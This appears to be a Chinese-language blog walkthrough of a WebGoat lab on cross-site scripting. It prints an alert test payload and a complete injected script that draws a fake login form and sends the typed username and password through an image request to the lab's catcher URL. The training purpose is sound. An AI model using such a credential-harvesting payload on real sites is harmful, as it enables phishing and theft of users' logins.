zoukankan      html  css  js  c++  java
  • 【WebGoat笔记】 CrossSite Scripting(XSS)

    目标:

    伪造一个登陆界面,要求用户输入用户名和密码,将数据提交到http://localhost/WebGoat/capture/PROPERTY=yes&ADD_CREDENTIALS_HERE

     

    解决步骤:

    首先:随意输入搜索内容,如:123.


    打开源代码,检测是否有未关闭的标签。由于这是一个入门级的练手任务,代码漏洞百出,这一层就不用考虑了。

    第二步:尝试在搜索栏中插入JavaScript代码,比如通用的:<script>alert("XSS!");</script>

    成功报出提示信息:

    值得注意的是,JS脚本语言的插入在我的机器上只能用IE实行,在chrome上则没有任何反应。可能是chrome所用脚本语言有所区别。

     

    第三步:构造代码,伪造一个登陆界面:

    <form><br><br><HR><H3>Thisfeature requires account login:</H3 ><br><br>EnterUsername:<br><input type="text" id="user"name="user"><br>Enter Password:<br><inputtype="password" name = "pass"><br><inputtype="submit" name="login" value="login"onclick="hack()"></form><br><br><HR> 
    其中,onclick="hack()"是用户点击登录之后的按钮行为,具体函数在随后构建。


    第四步:继续完善欺骗代码,构建JS函数,将获取的用户名和密码提交到相应的链接上。最后的输入代码如下:

    <script>functionhack(){alert("Had this been a real attack... Your credentials were juststolen. User Name="+document.forms[1].user.value+"Password="+document.forms[1].pass.value);var XSSImage=newImage();XSSImage.src="http://127.0.0.1:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[1].user.value + "&password=" +document.forms[1].pass.value + "";}</script><form><br><br><HR><H3>This featurerequires account login:</H3 ><br><br>EnterUsername:<br><input type="text" id="user"name="user"><br>Enter Password:<br><inputtype="password" name = "pass"><br><inputtype="submit" name="login" value="login"onclick="hack()"></form><br><br><HR> 

    这样,当被欺骗的用户输入用户名和密码之后,将报出提示信息,并将用户名和密码发送到相应链接。

    webgoat的提示说,如果创建一个image:XSSImage=newImage(),并声明XSSImage.src=SOME_URL那么JavaScript会执行一个提交。对JS语言不熟,这个今后再研究。

  • 相关阅读:
    全排列(求所有情况的个数)--10--全排列--蓝桥杯凑算式和leetcode46全排列
    DFS+BFS(广度优先搜索弥补深度优先搜索遍历漏洞求合格条件总数)--09--DFS+BFS--蓝桥杯剪邮票
    Powermock2.0.0 详细 总结
    Springboot 前后端数据传输 常见误区
    idea src下源文件和class编译文件不一致
    java对象clone
    数据结构-链表
    队列
    稀疏数组
    数据库隔离级别
  • 原文地址:https://www.cnblogs.com/y0umer/p/3839117.html
Copyright © 2011-2022 走看看